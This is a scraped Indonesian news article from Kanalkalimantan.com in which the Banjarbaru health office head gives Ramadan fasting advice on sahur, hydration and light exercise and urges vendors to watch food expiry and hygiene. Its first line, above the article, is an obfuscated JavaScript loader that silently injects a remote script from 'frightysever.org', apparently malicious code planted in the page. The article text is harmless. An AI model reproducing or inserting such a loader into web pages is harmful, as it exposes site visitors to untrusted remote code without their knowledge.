(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menjalankan ibadah puasa di bulan Ramadan menjadi momentum yang ditunggu segenap manusia di muka bumi setiap tahunnya.
Namun, tak banyak yang menyadari, sejumlah pola hidup seseorang dapat berubah selama berpuasa, meliputi makan dan tidur.
Sehingga banyak sekali dari kita mengalami lemas, tidak semangat, gampang mengantuk tapi tidak tahu cara mengatasinya.
Kepala Dinas Kesehatan (Dinkes) Banjarbaru, Dr Juhai Triyanti Agustina mengatakan, hal itu tidak akan terjadi jika asupan makanan yang dikonsumsi memenuhi asupan nutrisi seimbang.
Baca juga: Asik Ngamar di Hotel Melati, 13 Pasangan Bukan Suami Istri Terciduk Polisi
“Yang jelas selama puasa tetap sahur artinya tetap menjaga pola makan sehat walaupun bulan puasa banyak yang manis-manis alangkah baiknya dikurangi,” ujar dokter Juhai biasa disapa.
Pertama dia menjelaskan sahur adalah waktu makan sebelum imsak yang sangat penting selama bulan puasa.
Oleh sebab itu penting mengkonsumsi asupan menu makanan yang seimbang, seperti yang mengandung karbohidrat kompleks, serat, protein, dan lemak sehat.
Kedua, katanya, asupan air juga harus setiap hari terpenuhi dan dicukupi meskipun menjalankan ibadah puasa.
Baca juga: Polda Kalsel Buka Rekrutmen Anggota Polri 2024
“Pastikan untuk tetap terhidrasi dengan baik selama bulan puasa. Anjuran asupan air selama berpuasa kurang lebih sama dari 2 liter atau 8 gelas perharinya, diminum saat buka puasa hingga sahur,” sebut dia.
Hindari minuman berkafein dan berenergi tinggi yang dapat menyebabkan dehidrasi, terutama saat berbuka puasa.
Ketiga berkaitan dengan olahraga, meskipun berpuasa dia menyarankan agar tetap aktif secara fisik.
Lakukan olahraga ringan seperti berjalan kaki beberapa jam menjelang berbuka puasa atau sesudah sahur untuk membantu membakar kalori dan menjaga metabolisme tetap aktif.
Baca juga: Kenalkan Metode Bait Qur’any Jarimatika Al Qur’an
“Seperti misalnya menjelang buka puasa menghabiskan waktu dengan olahraga ringan jalan kaki atau pun saat pagi hari usai subuh berjalan kaki, tapi jangan terlalu berat,” jelas dia.
Sementara itum Dinkes Banjarbaru ikut turun tangan memperhatikan pedagang makanan siap saji di Kota Banjarbaru.
Salah satunya, dokter Juhai menghimbau agar pedagang dapat selalu memperhatikan tanggal kadarluwarsa produk makanan kalengan serta cara pengolahan hidangan makanan yang dijual.
“Artinya jangan sampai pembeli saat mengkonsumsinya mengalami efek samping atau akibatnya seperti sakit perut hingga diare,” jelasnya.
Baca juga: RI Rebut Ruang Udara di Atas Natuna dari Singapura
Disamping itu pedagang juga harus memperhatikan kebersihan sejian yang dijual.
“Kita punya tim gabungan yang diturunkan untuk turut serta memeriksa dengan mengambil sampel untuk uji makanan di sejumlah tempat yang di Kota Banjarbaru, untuk itu kita harap pedagang dapat memperhatikan makanan yang dijual,” tuntas Juhai. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
This website uses cookies.